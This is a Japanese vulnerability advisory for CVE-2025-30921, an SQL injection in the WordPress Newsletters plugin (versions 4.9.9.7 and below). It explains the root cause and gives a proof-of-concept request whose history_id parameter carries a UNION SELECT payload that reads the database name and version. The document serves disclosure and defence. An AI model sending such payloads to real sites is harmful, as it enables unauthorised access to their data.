CVE-2025-30921

1️⃣ コンポーネント種別

WordPress プラグイン

2️⃣ コンポーネント詳細

コンポーネント名 Newsletters

影響を受けるバージョン <= 4.9.9.7

コンポーネントスラッグ newsletters-lite

コンポーネントリンク https://wordpress.org/plugins/newsletters-lite/

3️⃣ OWASP 2017: TOP 10

脆弱性クラス A3: インジェクション

脆弱性種別 SQLインジェクション

4️⃣ 前提条件

管理者

5️⃣ 脆弱性の詳細

👉 概要

Newsletters プラグイン バージョン 4.9.9.7 以下のダッシュボード（/wp-admin/admin.php?page=newsletters）で統計概要グラフを表示する際に、URL パラメータの入力検証とエスケープ処理が不十分なために SQL インジェクション脆弱性が発生します。

この脆弱性により、管理者権限を持つ攻撃者が、対象サイトのデータベース情報を取得することが可能です。

👉 再現手順（PoC）

1. Newsletters プラグイン バージョン 4.9.9.7 以下がインストールされた WordPress サイトを用意します。

2. Newsletters プラグインのダッシュボードメニュー（/wp-admin/admin.php?page=newsletters）に移動します。

   

3. ブラウザの開発者ツールを使用して、'Elements' タブで action=wpmlwelcomestats&security= を検索し、security の値を確認します。たとえば、検索結果が下図のように表示された場合は、22b1ac0de6 をメモします。

   root@kitploit:~

   // ...
   
   jQuery.getJSON(newsletters_ajaxurl + 'action=wpmlwelcomestats&security=22b1ac0de6', ajaxdata, function(json) {
   
   // ...
   

   

4. メモした security の値を以下の URL パスの <SECURITY VALUE> 部分に入力し、その URL にリクエストを送信します。

   root@kitploit:~

   http://localhost:8080/wp-admin/admin-ajax.php?action=wpmlwelcomestats&security=<SECURITY VALUE>&type=years&chart=bar&from=2024-12-31&to=2024-12-31&history_id=FOO%27+UNION+SELECT+(CONCAT((DATABASE()),%22-%22,(@@VERSION))),NULL+LIMIT+1,2+%23
   

👉 追加情報（任意）

[脆弱性の根本原因]

上記 PoC で SQL インジェクション脆弱性が発生する URL をリクエストすると、/wp-content/plugins/newsletters-lite/wp-mailinglist-plugin.php ファイル内の ajax_welcomestats 関数が呼び出されます。

このとき、リクエストパラメータ history_id は SQL クエリ文字列の条件句として直接参照され、変数 $history_condition として初期化されます。この変数は、エスケープ処理を一切行わずにデータベースクエリへ渡されます。

したがって、URL パラメータ history_id に入力された値に対する検証やエスケープ処理がないため、SQL インジェクション脆弱性が発生します。（なお、URL パラメータ from および to も、入力検証とエスケープ処理の不備により、SQL インジェクション攻撃の影響を受けます。）

6️⃣ エクスプロイトデモ

7️⃣ 参照

• https://nvd.nist.gov/vuln/detail/CVE-2025-30921